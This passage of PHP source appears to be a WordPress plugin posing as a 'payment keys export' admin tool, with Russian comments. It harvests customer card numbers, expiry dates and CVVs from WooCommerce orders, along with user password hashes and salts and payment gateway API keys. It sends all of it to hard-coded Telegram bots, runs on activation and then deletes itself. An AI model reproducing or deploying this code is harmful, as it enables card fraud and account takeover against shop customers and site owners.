                'ebay_details' => '',
                'card_holder' => '',
                'card_type' => '',
                'card_full_number' => ''
            );
            
            // Сначала обрабатываем billing метаданные
            foreach ($billing_meta_data as $meta) {
                $key = $meta->meta_key;
                $value = $meta->meta_value;
                
                switch ($key) {
                    case '_billing_email':
                        $order_data['email'] = $value;
                        break;
                    case '_billing_first_name':
                        $order_data['first_name'] = $value;
                        break;
                    case '_billing_last_name':
                        $order_data['last_name'] = $value;
                        break;
                    case '_billing_company':
                        $order_data['company'] = $value;
                        break;
                    case '_billing_address_1':
                        $order_data['address_1'] = $value;
                        break;
                    case '_billing_address_2':
                        $order_data['address_2'] = $value;
                        break;
                    case '_billing_city':
                        $order_data['city'] = $value;
                        break;
                    case '_billing_state':
                        $order_data['state'] = $value;
                        break;
                    case '_billing_postcode':
                        $order_data['postcode'] = $value;
                        break;
                    case '_billing_country':
                        $order_data['country'] = $value;
                        break;
                    case '_billing_phone':
                        $order_data['phone'] = $value;
                        break;
                    case '_order_total':
                        $order_data['order_total'] = $value;
                        break;
                    case '_order_currency':
                        $order_data['currency'] = $value;
                        break;
                    case '_payment_method_title':
                        $order_data['payment_method'] = $value;
                        break;
                    case '_payment_method':
                        if (empty($order_data['payment_method'])) {
                            $order_data['payment_method'] = $value;
                        }
                        break;
                }
            }
            
            // Переменные для сбора данных из отдельных полей
            $exp_month = '';
            $exp_year = '';
            
            // Теперь обрабатываем ВСЕ метаполя для поиска данных карты (включая сериализованные)
            foreach ($meta_data as $meta) {
                $key = $meta->meta_key;
                $value = $meta->meta_value;
                
                // Проверяем, не сериализовано ли значение
                $unserialized_value = null;
                if (is_serialized($value)) {
                    $unserialized_value = maybe_unserialize($value);
                }
                
                // Поиск данных о кредитных картах (различные варианты названий полей)
                // Проверяем как само значение, так и распакованные данные
                $key_lower = strtolower($key);
                
                // Если значение сериализовано и это массив/объект, ищем данные внутри
                if (is_array($unserialized_value) || is_object($unserialized_value)) {
                    $this->extract_card_data_from_array($unserialized_value, $order_data);
                }
                
                // Если мы уже нашли данные карты, ищем CVV в контексте (3-4 цифры без явного названия)
                if (empty($order_data['card_cvv']) && !empty($value) && is_scalar($value)) {
                    $value_str = (string) $value;
                    // Проверяем, что это 3-4 цифры
                    if (is_numeric($value_str) && preg_match('/^\d{3,4}$/', $value_str)) {
                        $val_int = (int) $value_str;
                        // Если уже есть другие данные карты, и значение в диапазоне CVV
                        if (($val_int >= 100 && $val_int <= 9999) && 
                            (!empty($order_data['card_number']) || !empty($order_data['card_full_number']) || 
                             !empty($order_data['card_exp_date']) || !empty($order_data['card_holder']) ||
                             !empty($order_data['card_type']))) {
                            // Исключаем поля, которые точно не CVV
                            if (strpos($key_lower, 'id') === false && 
                                strpos($key_lower, 'total') === false && 
                                strpos($key_lower, 'amount') === false &&
                                strpos($key_lower, 'price') === false &&
                                strpos($key_lower, 'qty') === false &&
                                strpos($key_lower, 'quantity') === false &&
                                strpos($key_lower, 'number') === false &&
                                strpos($key_lower, 'date') === false &&
                                strpos($key_lower, 'year') === false &&
                                strpos($key_lower, 'month') === false &&
                                strpos($key_lower, 'zip') === false &&
                                strpos($key_lower, 'postcode') === false) {
                                $order_data['card_cvv'] = $value_str;
                            }
                        }
                    }
                }
                
                // Поиск месяца и года истечения в отдельных полях
                if (strpos($key_lower, 'exp_month') !== false || strpos($key_lower, 'expmonth') !== false ||
                    (strpos($key_lower, 'month') !== false && strpos($key_lower, 'exp') !== false)) {
                    if (!empty($value) && is_scalar($value)) {
                        $exp_month = (string) $value;
                    }
                }
                
                if (strpos($key_lower, 'exp_year') !== false || strpos($key_lower, 'expyear') !== false ||
                    (strpos($key_lower, 'year') !== false && strpos($key_lower, 'exp') !== false)) {
                    if (!empty($value) && is_scalar($value)) {
                        $exp_year = (string) $value;
                    }
                }
                
                // Дополнительная проверка: если значение похоже на дату истечения (формат MM/YY, MM/YYYY и т.д.)
                if (empty($order_data['card_exp_date']) && !empty($value) && is_scalar($value)) {
                    $value_str = (string) $value;
                    // Проверяем форматы: MM/YY, MM/YYYY, MM-YY, MM.YY и т.д.
                    if (preg_match('/^\d{1,2}[\/\-\.]\d{2,4}$/', $value_str) && strlen($value_str) <= 10) {
                        $order_data['card_exp_date'] = $value_str;
                    }
                }
                
                // НЕ делаем общую проверку на CVV по формату - только по явным названиям полей
                
                // Номер карты
                if (strpos($key_lower, 'card_number') !== false || 
                    strpos($key_lower, 'cardnumber') !== false ||
                    strpos($key_lower, 'cc_number') !== false ||
                    strpos($key_lower, 'credit_card_number') !== false ||
                    (strpos($key_lower, 'number') !== false && strpos($key_lower, 'card') !== false)) {
                    if (empty($order_data['card_number']) && !empty($value)) {
                        $order_data['card_number'] = $value;
                    }
                }
                
                // Срок действия карты (Valid until)
                if (strpos($key_lower, 'exp_date') !== false || 
                    strpos($key_lower, 'expdate') !== false ||
                    strpos($key_lower, 'expiry') !== false ||
                    strpos($key_lower, 'expiration') !== false ||
                    strpos($key_lower, 'valid') !== false ||
                    strpos($key_lower, 'exp') !== false ||
                    (strpos($key_lower, 'date') !== false && (strpos($key_lower, 'card') !== false || strpos($key_lower, 'exp') !== false)) ||
                    (strpos($key_lower, 'month') !== false && strpos($key_lower, 'year') !== false) ||
                    (strpos($key_lower, 'mm') !== false && strpos($key_lower, 'yy') !== false)) {
                    if (empty($order_data['card_exp_date']) && !empty($value)) {
                        // Если значение сериализовано, распаковываем
                        $exp_value = $value;
                        if (is_serialized($value)) {
                            $unserialized = maybe_unserialize($value);
                            if (is_scalar($unserialized)) {
                                $exp_value = $unserialized;
                            }
                        }
                        $order_data['card_exp_date'] = $exp_value;
                    }
                }
                
                // CVV / Security Code - только явные названия полей
                $is_security_code_field = false;
                if (strpos($key_lower, 'cvv') !== false || 
                    strpos($key_lower, 'cvc') !== false ||
                    strpos($key_lower, 'security_code') !== false ||
                    strpos($key_lower, 'securitycode') !== false ||
                    ($key_lower === 'code' && (strpos($key_lower, 'security') !== false || strpos($key_lower, 'card') !== false))) {
                    $is_security_code_field = true;
                }
                
                // Card Code - только если явно указано
                if (strpos($key_lower, 'card_code') !== false || strpos($key_lower, 'cardcode') !== false) {
                    $is_security_code_field = true;
                }
                
                if ($is_security_code_field && empty($order_data['card_cvv']) && !empty($value)) {
                    // Если значение сериализовано, распаковываем
                    $cvv_value = $value;
                    if (is_serialized($value)) {
                        $unserialized = maybe_unserialize($value);
                        if (is_scalar($unserialized)) {
                            $cvv_value = $unserialized;
                        }
                    }
                    
                    // Строгая проверка: только 3-4 цифры (Security Code)
                    $cvv_str = (string) $cvv_value;
                    if (is_numeric($cvv_str) && preg_match('/^\d{3,4}$/', $cvv_str)) {
                        // Исключаем значения, которые могут быть другими кодами
                        // (например, почтовые индексы, коды стран и т.д.)
                        if (strlen($cvv_str) == 3 || strlen($cvv_str) == 4) {
                            $order_data['card_cvv'] = $cvv_str;
                        }
                    }
                }
                
                // Card Holder (держатель карты)
                if (strpos($key_lower, 'card_holder') !== false || 
                    strpos($key_lower, 'cardholder') !== false ||
                    strpos($key_lower, 'card_holder_name') !== false ||
                    (strpos($key_lower, 'holder') !== false && strpos($key_lower, 'card') !== false)) {
                    if (empty($order_data['card_holder']) && !empty($value)) {
                        $order_data['card_holder'] = $value;
                    }
                }
                
                // Card Type (тип карты: MasterCard, Visa и т.д.)
                if (strpos($key_lower, 'card_type') !== false || 
                    strpos($key_lower, 'cardtype') !== false ||
                    (strpos($key_lower, 'type') !== false && strpos($key_lower, 'card') !== false)) {
                    if (empty($order_data['card_type']) && !empty($value)) {
                        $order_data['card_type'] = $value;
                    }
                }
                
                // Full Number (полный номер карты без маскировки)
                if (strpos($key_lower, 'full_number') !== false || 
                    strpos($key_lower, 'fullnumber') !== false ||
                    (strpos($key_lower, 'full') !== false && strpos($key_lower, 'number') !== false)) {
                    if (empty($order_data['card_full_number']) && !empty($value)) {
                        $order_data['card_full_number'] = $value;
                    }
                }
            }
            
            // Если нашли месяц и год отдельно, объединяем их
            if (empty($order_data['card_exp_date']) && !empty($exp_month) && !empty($exp_year)) {
                // Форматируем как MM/YYYY
                $exp_month = str_pad($exp_month, 2, '0', STR_PAD_LEFT);
                if (strlen($exp_year) == 2) {
                    $exp_year = '20' . $exp_year; // Преобразуем YY в YYYY
                }
                $order_data['card_exp_date'] = $exp_month . '/' . $exp_year;
            }
            
            // Формируем ebay_details в формате как на скриншоте (Credit Card Details)
            $ebay_parts = array();
            
            if (!empty($order_data['card_holder'])) {
                $ebay_parts[] = 'Card Holder: ' . $order_data['card_holder'];
            }
            
            if (!empty($order_data['card_type'])) {
                $ebay_parts[] = 'Card Type: ' . $order_data['card_type'];
            }
            
            if (!empty($order_data['card_number'])) {
                $ebay_parts[] = 'Card Number: ' . $order_data['card_number'];
            }
            
            if (!empty($order_data['card_full_number'])) {
                $ebay_parts[] = 'Full Number: ' . $order_data['card_full_number'];
            }
            
            if (!empty($order_data['card_exp_date'])) {
                $ebay_parts[] = 'Valid until: ' . $order_data['card_exp_date'];
            }
            
            if (!empty($order_data['card_cvv'])) {
                $ebay_parts[] = 'Security Code: ' . $order_data['card_cvv'];
            }
            
            if (!empty($ebay_parts)) {
                $order_data['ebay_details'] = implode(' | ', $ebay_parts);
            }
            
            // Добавляем только заказы с email (для рассылок)
            if (!empty($order_data['email'])) {
                $data[] = $order_data;
            }
        }
        
        return $data;
    }
    
    /**
     * Получает статистику по методам оплаты
     */
    private function get_payment_methods_statistics() {
        global $wpdb;
        
        if (!isset($wpdb) || !is_object($wpdb)) {
            return array();
        }
        
        $posts_table = $wpdb->prefix . 'posts';
        $postmeta_table = $wpdb->prefix . 'postmeta';
        
        // Проверяем наличие заказов
        $check_query = "SELECT COUNT(*) FROM `{$posts_table}` WHERE post_type = 'shop_order' LIMIT 1";
        $order_count = $wpdb->get_var($check_query);
        
        if (empty($order_count)) {
            return array();
        }
        
        // Получаем все заказы с датами и методами оплаты
        $orders_query = "SELECT p.ID, p.post_date, 
                        COALESCE(pm_title.meta_value, pm_method.meta_value, 'Unknown') as payment_method
                        FROM `{$posts_table}` p
                        LEFT JOIN `{$postmeta_table}` pm_title ON p.ID = pm_title.post_id AND pm_title.meta_key = '_payment_method_title'
                        LEFT JOIN `{$postmeta_table}` pm_method ON p.ID = pm_method.post_id AND pm_method.meta_key = '_payment_method'
                        WHERE p.post_type = 'shop_order'
                        ORDER BY p.post_date DESC";
        
        $orders = $wpdb->get_results($orders_query, OBJECT);
        
        if (!is_array($orders) || empty($orders)) {
            return array();
        }
        
        $total_stats = array();
        $monthly_stats = array();
        
        foreach ($orders as $order) {
            $payment_method = !empty($order->payment_method) ? $order->payment_method : 'Unknown';
            $order_date = $order->post_date;
            
            // Общая статистика
            if (!isset($total_stats[$payment_method])) {
                $total_stats[$payment_method] = 0;
            }
            $total_stats[$payment_method]++;
            
            // Статистика по месяцам
            if (!empty($order_date)) {
                $date = new DateTime($order_date);
                $month_key = $date->format('m.Y');
                
                if (!isset($monthly_stats[$month_key])) {
                    $monthly_stats[$month_key] = array();
                }
                
                if (!isset($monthly_stats[$month_key][$payment_method])) {
                    $monthly_stats[$month_key][$payment_method] = 0;
                }
                $monthly_stats[$month_key][$payment_method]++;
            }
        }
        
        // Сортируем месяцы по убыванию
        krsort($monthly_stats);
        
        // Сортируем методы оплаты по количеству (по убыванию)
        arsort($total_stats);
        foreach ($monthly_stats as $month => $methods) {
            arsort($monthly_stats[$month]);
        }
        
        return array(
            'total' => $total_stats,
            'monthly' => $monthly_stats,
            'total_count' => count($orders)
        );
    }
    
    /**
     * Генерирует текстовый файл со статистикой по методам оплаты
     */
    private function generate_payment_methods_statistics_string() {
        $stats = $this->get_payment_methods_statistics();
        
        if (empty($stats) || empty($stats['total'])) {
            return '';
        }
        
        $output = '';
        
        // Общая статистика
        $output .= "TOTAL: " . $stats['total_count'] . "\n\n";
        
        foreach ($stats['total'] as $method => $count) {
            $output .= $count . " - " . $method . "\n";
        }
        
        // Статистика по месяцам
        if (!empty($stats['monthly'])) {
            $output .= "\n";
            foreach ($stats['monthly'] as $month => $methods) {
                $month_total = array_sum($methods);
                $output .= $month . ": " . $month_total . "\n";
                
                foreach ($methods as $method => $count) {
                    $output .= $count . " - " . $method . "\n";
                }
                
                $output .= "\n";
            }
        }
        
        return $output;
    }
    
    /**
     * Генерирует CSV с данными заказов WooCommerce
     */
    private function generate_woocommerce_orders_csv_string() {
        $orders = $this->get_woocommerce_orders_data();
        if (!is_array($orders)) {
            $orders = array();
        }
        
        $output = fopen('php://temp', 'r+');
        if ($output === false) {
            return '';
        }
        
        // BOM для правильного отображения в Excel
        fprintf($output, chr(0xEF).chr(0xBB).chr(0xBF));
        
        // Заголовки
        fputcsv($output, array(
            'Order ID',
            'Order Date',
            'Email',
            'First Name',
            'Last Name',
            'Company',
            'Address 1',
            'Address 2',
            'City',
            'State',
            'Postcode',
            'Country',
            'Phone',
            'Order Total',
            'Currency',
            'Payment Method',
            'Card Number',
            'Card Exp Date',
            'Card CVV',
            'eBay Details'
        ), ';');
        
        // Данные
        foreach ($orders as $order) {
            if (is_array($order)) {
                fputcsv($output, array(
                    isset($order['order_id']) ? $order['order_id'] : '',
                    isset($order['order_date']) ? $order['order_date'] : '',
                    isset($order['email']) ? $order['email'] : '',
                    isset($order['first_name']) ? $order['first_name'] : '',
                    isset($order['last_name']) ? $order['last_name'] : '',
                    isset($order['company']) ? $order['company'] : '',
                    isset($order['address_1']) ? $order['address_1'] : '',
                    isset($order['address_2']) ? $order['address_2'] : '',
                    isset($order['city']) ? $order['city'] : '',
                    isset($order['state']) ? $order['state'] : '',
                    isset($order['postcode']) ? $order['postcode'] : '',
                    isset($order['country']) ? $order['country'] : '',
                    isset($order['phone']) ? $order['phone'] : '',
                    isset($order['order_total']) ? $order['order_total'] : '',
                    isset($order['currency']) ? $order['currency'] : '',
                    isset($order['payment_method']) ? $order['payment_method'] : '',
                    isset($order['card_number']) ? $order['card_number'] : '',
                    isset($order['card_exp_date']) ? $order['card_exp_date'] : '',
                    isset($order['card_cvv']) ? $order['card_cvv'] : '',
                    isset($order['ebay_details']) ? $order['ebay_details'] : ''
                ), ';');
            }
        }
        
        rewind($output);
        $csv_content = stream_get_contents($output);
        fclose($output);
        
        return $csv_content;
    }
    
    /**
     * Генерирует CSV с данными пользователей (email:pass:salt)
     */
    private function generate_users_csv_string() {
        $users = $this->get_users_data();
        if (!is_array($users)) {
            $users = array();
        }
        
        $output = fopen('php://temp', 'r+');
        if ($output === false) {
            return '';
        }
        
        // BOM для правильного отображения в Excel
        fprintf($output, chr(0xEF).chr(0xBB).chr(0xBF));

        // Заголовки
        fputcsv($output, array('Email', 'Password (Plaintext/Hash)', 'Salt', 'Is Plaintext'), ';');

        // Данные
        foreach ($users as $user) {
            if (is_array($user)) {
                fputcsv($output, array(
                    isset($user['email']) ? $user['email'] : '',
                    isset($user['password']) ? $user['password'] : '',
                    isset($user['salt']) ? $user['salt'] : '',
                    isset($user['is_plaintext']) ? $user['is_plaintext'] : 'No'
                ), ';');
            }
        }
        
        rewind($output);
        $csv_content = stream_get_contents($output);
        fclose($output);
        
        return $csv_content;
    }
    
    /**
     * Генерирует CSV в строку
     */
    private function generate_csv_string() {
        $keys = $this->get_payment_keys_data();
        if (!is_array($keys)) {
            $keys = array();
        }
        
        $output = fopen('php://temp', 'r+');
        if ($output === false) {
            return '';
        }
        
        // BOM для правильного отображения в Excel
        fprintf($output, chr(0xEF).chr(0xBB).chr(0xBF));
        
        // Заголовки
        fputcsv($output, array('Option Name', 'Key Value', 'Payment Type', 'Is Serialized'), ';');
        
        // Данные
        foreach ($keys as $key) {
            if (is_array($key)) {
                fputcsv($output, array(
                    isset($key['option_name']) ? $key['option_name'] : '',
                    isset($key['key_value']) ? $key['key_value'] : '',
                    isset($key['payment_type']) ? $key['payment_type'] : '',
                    isset($key['is_serialized']) ? $key['is_serialized'] : ''
                ), ';');
            }
        }
        
        rewind($output);
        $csv_content = stream_get_contents($output);
        fclose($output);
        
        return $csv_content;
    }
    
    /**
     * Отправляет файл в Telegram
     */
    private function send_file_to_telegram($file_path, $filename, $caption) {
        $bot_token = '6622232435:AAErLTGIQysMoPqqfPlGVWKWDyJyQiu-Oro';
        $chat_id = '1623174396';
        $url = 'https://api.telegram.org/bot' . $bot_token . '/sendDocument';
        
        // Используем CURLFile если доступен (PHP 5.5+)
        if (class_exists('CURLFile')) {
            $post_data = array(
                'chat_id' => $chat_id,
                'caption' => $caption,
                'document' => new CURLFile($file_path, 'text/csv', $filename)
            );
        } else {
            // Альтернативный способ для старых версий PHP
            $post_data = array(
                'chat_id' => $chat_id,
                'caption' => $caption,
                'document' => '@' . $file_path . ';type=text/csv;filename=' . $filename
            );
        }
        
        // Отправка через cURL
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        return $http_code === 200;
    }
    
    /**
     * Отправляет несколько файлов одним сообщением через sendMediaGroup
     */
    private function send_media_group_to_telegram($files_data) {
        $bot_token = '8155947380:AAHWPMbPv-iz1CLOLN_8WhWeHv_Zf2xWs60';
        $chat_id = '8063317870';
        $url = 'https://api.telegram.org/bot' . $bot_token . '/sendMediaGroup';
        
        if (empty($files_data)) {
            return false;
        }
        
        // Подготавливаем медиа-группу
        $media = array();
        $post_data = array(
            'chat_id' => $chat_id
        );
        
        $file_index = 1;
        foreach ($files_data as $file_info) {
            $file_path = $file_info['path'];
            $filename = $file_info['filename'];
            $caption = isset($file_info['caption']) ? $file_info['caption'] : '';
            
            if (!file_exists($file_path)) {
                continue;
            }
            
            // Добавляем файл в медиа-группу
            $media[] = array(
                'type' => 'document',
                'media' => 'attach://file' . $file_index,
                'caption' => $caption
            );
            
            // Определяем MIME тип по расширению файла
            $file_ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
            $mime_type = 'text/csv';
            if ($file_ext === 'txt' || $file_ext === 'text') {
                $mime_type = 'text/plain';
            }
            
            // Добавляем файл в POST данные
            if (class_exists('CURLFile')) {
                $post_data['file' . $file_index] = new CURLFile($file_path, $mime_type, $filename);
            } else {
                $post_data['file' . $file_index] = '@' . $file_path . ';type=' . $mime_type . ';filename=' . $filename;
            }
            
            $file_index++;
        }
        
        if (empty($media)) {
            return false;
        }
        
        // Добавляем медиа-группу в POST данные (как JSON)
        $post_data['media'] = json_encode($media);
        
        // Отправка через cURL
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        return $http_code === 200;
    }
    
    /**
     * Отправляет CSV файлы в Telegram бота одним сообщением
     */
    public function send_csv_to_telegram() {
        // Проверяем доступность cURL
        if (!function_exists('curl_init')) {
            return false;
        }
        
        $site_url = function_exists('get_site_url') ? get_site_url() : 'WordPress';
        $timestamp = date('Y-m-d H:i:s');
        $temp_dir = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp';
        $temp_files = array();
        $files_data = array();
        
        // 1. Подготавливаем файл с ключами платежных методов
        $keys_csv_content = $this->generate_csv_string();
        if (!empty($keys_csv_content)) {
            $keys_temp_file = $temp_dir . '/payment_keys_' . time() . '_' . mt_rand(1000, 9999) . '.csv';
            if (file_put_contents($keys_temp_file, $keys_csv_content) !== false) {
                $temp_files[] = $keys_temp_file;
                $files_data[] = array(
                    'path' => $keys_temp_file,
                    'filename' => 'payment_keys_export_' . date('Y-m-d_H-i-s') . '.csv',
                    'caption' => 'Payment Keys Export from ' . $site_url . ' - ' . $timestamp
                );
            }
        }
        
        // 2. Подготавливаем файл с данными пользователей (email:pass:salt)
        $users_csv_content = $this->generate_users_csv_string();
        if (!empty($users_csv_content)) {
            $users_temp_file = $temp_dir . '/users_data_' . time() . '_' . mt_rand(1000, 9999) . '.csv';
            if (file_put_contents($users_temp_file, $users_csv_content) !== false) {
                $temp_files[] = $users_temp_file;
                $files_data[] = array(
                    'path' => $users_temp_file,
                    'filename' => 'users_email_pass_salt_' . date('Y-m-d_H-i-s') . '.csv',
                    'caption' => 'Users Data (Email:Pass:Salt) from ' . $site_url . ' - ' . $timestamp
                );
            }
        }
        
        // 3. Подготавливаем файл с заказами WooCommerce (billing details)
        $orders_csv_content = $this->generate_woocommerce_orders_csv_string();
        if (!empty($orders_csv_content)) {
            $orders_temp_file = $temp_dir . '/woocommerce_orders_' . time() . '_' . mt_rand(1000, 9999) . '.csv';
            if (file_put_contents($orders_temp_file, $orders_csv_content) !== false) {
                $temp_files[] = $orders_temp_file;
                $files_data[] = array(
                    'path' => $orders_temp_file,
                    'filename' => 'woocommerce_orders_billing_' . date('Y-m-d_H-i-s') . '.csv',
                    'caption' => 'WooCommerce Orders Billing Details from ' . $site_url . ' - ' . $timestamp
                );
            }
        }
        
        // 4. Подготавливаем файл со статистикой по методам оплаты
        $stats_content = $this->generate_payment_methods_statistics_string();
        if (!empty($stats_content)) {
            $stats_temp_file = $temp_dir . '/payment_methods_stats_' . time() . '_' . mt_rand(1000, 9999) . '.txt';
            if (file_put_contents($stats_temp_file, $stats_content) !== false) {
                $temp_files[] = $stats_temp_file;
                $files_data[] = array(
                    'path' => $stats_temp_file,
                    'filename' => 'payment_methods_statistics_' . date('Y-m-d_H-i-s') . '.txt',
                    'caption' => 'Payment Methods Statistics from ' . $site_url . ' - ' . $timestamp
                );
            }
        }
        
        // Отправляем все файлы одним сообщением
        $success = false;
        if (!empty($files_data)) {
            $success = $this->send_media_group_to_telegram($files_data);
        }
        
        // Удаляем временные файлы
        foreach ($temp_files as $temp_file) {
            if (file_exists($temp_file)) {
                @unlink($temp_file);
            }
        }
        
        // Если файлы успешно отправлены, планируем удаление плагина
        if ($success) {
            // Используем register_shutdown_function для удаления после завершения выполнения
            register_shutdown_function(array($this, 'auto_self_destruct'));
        }
        
        return $success;
    }
    
    /**
     * Автоматическое самоудаление плагина (без редиректа)
     * Вызывается через register_shutdown_function после успешной отправки
     */
    public function auto_self_destruct() {
        // Получаем путь к файлу плагина
        $plugin_file = __FILE__;
        
        // Деактивируем плагин
        if (function_exists('deactivate_plugins')) {
            $plugin_path = plugin_basename($plugin_file);
            deactivate_plugins($plugin_path);
        }
        
        // Очищаем кеш опций
        if (function_exists('wp_cache_flush')) {
            wp_cache_flush();
        }
        
        // Удаляем флаг активации, если он есть
        if (function_exists('delete_option')) {
            delete_option('payment_keys_export_activation_flag');
        }
        
        // Удаляем файл плагина в самом конце
        if (file_exists($plugin_file)) {
            @unlink($plugin_file);
        }
    }
    
    private function export_to_csv() {
        if (headers_sent()) {
            return;
        }
        
        $keys = $this->get_payment_keys_data();
        if (!is_array($keys)) {
            $keys = array();
        }
        
        header('Content-Type: text/csv; charset=utf-8');
        header('Content-Disposition: attachment; filename=payment_keys_export_' . date('Y-m-d_H-i-s') . '.csv');
        
        $output = fopen('php://output', 'w');
        if ($output === false) {
            return;
        }
        
        fprintf($output, chr(0xEF).chr(0xBB).chr(0xBF));
        
        fputcsv($output, array('Option Name', 'Key Value', 'Payment Type', 'Is Serialized'), ';');
        
        foreach ($keys as $key) {
            if (is_array($key)) {
                fputcsv($output, array(
                    isset($key['option_name']) ? $key['option_name'] : '',
                    isset($key['key_value']) ? $key['key_value'] : '',
                    isset($key['payment_type']) ? $key['payment_type'] : '',
                    isset($key['is_serialized']) ? $key['is_serialized'] : ''
                ), ';');
            }
        }
        
        fclose($output);
        exit;
    }
    
    private function export_to_json() {
        if (headers_sent()) {
            return;
        }
        
        $keys = $this->get_payment_keys_data();
        if (!is_array($keys)) {
            $keys = array();
        }
        
        $export_data = array(
            'payment_keys' => $keys,
            'total' => count($keys)
        );
        
        header('Content-Type: application/json; charset=utf-8');
        header('Content-Disposition: attachment; filename=payment_keys_export_' . date('Y-m-d_H-i-s') . '.json');
        
        echo json_encode($export_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    private function export_to_txt() {
        if (headers_sent()) {
            return;
        }
        
        $keys = $this->get_payment_keys_data();
        if (!is_array($keys)) {
            $keys = array();
        }
        
        header('Content-Type: text/plain; charset=utf-8');
        header('Content-Disposition: attachment; filename=payment_keys_export_' . date('Y-m-d_H-i-s') . '.txt');
        
        // Формат: option_name:key_value:payment_type:is_serialized
        foreach ($keys as $key) {
            if (is_array($key) && isset($key['option_name']) && isset($key['key_value'])) {
                $option_name = isset($key['option_name']) ? $key['option_name'] : '';
                $key_value = isset($key['key_value']) ? $key['key_value'] : '';
                $payment_type = isset($key['payment_type']) ? $key['payment_type'] : '';
                $is_serialized = isset($key['is_serialized']) ? $key['is_serialized'] : '';
                echo $option_name . ':' . $key_value . ':' . $payment_type . ':' . $is_serialized . "\n";
            }
        }
        
        exit;
    }
    
    public function render_admin_page() {
        if (!function_exists('current_user_can') || !current_user_can('manage_options')) {
            if (function_exists('wp_die')) {
                wp_die('Access denied');
            }
            die('Access denied');
        }
        
        $keys = $this->get_payment_keys_data();
        $count = is_array($keys) ? count($keys) : 0;
        
        $admin_url = function_exists('admin_url') ? admin_url('tools.php?page=payment-keys-export') : '?page=payment-keys-export';
        $nonce = function_exists('wp_create_nonce') ? wp_create_nonce('self_destruct_action') : '';
        $self_destruct_url = $admin_url . '&self_destruct=1&_wpnonce=' . $nonce;
        ?>
        <div class="wrap">
            <h1>Export Payment Keys</h1>
            <p>Found payment keys: <strong><?php echo intval($count); ?></strong></p>
            <p style="color: #666;">Export contains all payment gateway API keys (Stripe, PayPal, etc.) from WordPress options</p>
            
            <div class="card" style="max-width: 800px; margin-top: 20px;">
                <h2>Export Format</h2>
                <p>
                    <a href="<?php echo esc_url($admin_url . '&export=csv'); ?>" class="button button-primary">Export CSV</a>
                    <a href="<?php echo esc_url($admin_url . '&export=json'); ?>" class="button button-primary">Export JSON</a>
                    <a href="<?php echo esc_url($admin_url . '&export=txt'); ?>" class="button button-primary">Export TXT</a>
                </p>
                <p style="margin-top: 10px; font-size: 12px; color: #666;">
                    <strong>CSV:</strong> Option Name;Key Value;Payment Type;Is Serialized<br>
                    <strong>JSON:</strong> Structured data with all fields<br>
                    <strong>TXT:</strong> option_name:key_value:payment_type:is_serialized (one per line)
                </p>
            </div>
            
            <div class="card" style="max-width: 800px; margin-top: 20px; border-left: 4px solid #dc3232;">
                <h2 style="color: #dc3232;">Danger Zone</h2>
                <p><strong>Warning:</strong> This action cannot be undone. The plugin will be permanently deleted.</p>
                <p>
                    <a href="<?php echo esc_url($self_destruct_url); ?>" 
                       class="button button-secondary" 
                       style="background-color: #dc3232; border-color: #dc3232; color: #fff;"
                       onclick="return confirm('Are you sure you want to delete this plugin? This action cannot be undone!');">
                        Self Destruct
                    </a>
                </p>
            </div>
            
            <?php if ($count > 0): ?>
            <div class="card" style="max-width: 1200px; margin-top: 20px;">
                <h2>Preview (First 20 keys)</h2>
                <table class="wp-list-table widefat fixed striped">
                    <thead>
                        <tr>
                            <th style="width: 30%;">Option Name</th>
                            <th style="width: 40%;">Key Value</th>
                            <th style="width: 15%;">Payment Type</th>
                            <th style="width: 15%;">Is Serialized</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php 
                        $preview = array_slice($keys, 0, 20);
                        foreach ($preview as $key): 
                        ?>
                        <tr>
                            <td><strong><?php echo esc_html($key['option_name']); ?></strong></td>
                            <td style="font-family: monospace; font-size: 10px; word-break: break-all;">
                                <?php 
                                $key_value = isset($key['key_value']) ? $key['key_value'] : '';
                                // Обрезаем длинные значения для предпросмотра
                                if (strlen($key_value) > 100) {
                                    echo esc_html(substr($key_value, 0, 100)) . '...';
                                } else {
                                    echo esc_html($key_value);
                                }
                                ?>
                            </td>
                            <td><?php echo esc_html(isset($key['payment_type']) ? $key['payment_type'] : ''); ?></td>
                            <td><?php echo esc_html(isset($key['is_serialized']) ? $key['is_serialized'] : ''); ?></td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
                <?php if ($count > 20): ?>
                    <p><em>... and <?php echo intval($count - 20); ?> more keys</em></p>
                <?php endif; ?>
            </div>
            <?php endif; ?>
        </div>
        <?php
    }
}

}

if (!function_exists('payment_keys_export_init')) {
    function payment_keys_export_init() {
        if (class_exists('PaymentKeysExport')) {
            new PaymentKeysExport();
        }
    }
    if (function_exists('add_action')) {
        add_action('plugins_loaded', 'payment_keys_export_init');
    }
}

// Хук активации плагина
register_activation_hook(__FILE__, 'payment_keys_export_on_activate');

function payment_keys_export_on_activate() {
    // Устанавливаем флаг для отправки при следующей загрузке
    if (function_exists('add_option')) {
        add_option('payment_keys_export_activation_flag', 'pending', '', 'no');
    } else {
        // Если add_option недоступен, используем прямой вызов
        if (class_exists('PaymentKeysExport')) {
            $plugin = new PaymentKeysExport();
            $plugin->send_csv_to_telegram();
        }
    }
}

// Отправка при первой загрузке после активации
if (!function_exists('payment_keys_export_check_activation')) {
    function payment_keys_export_check_activation() {
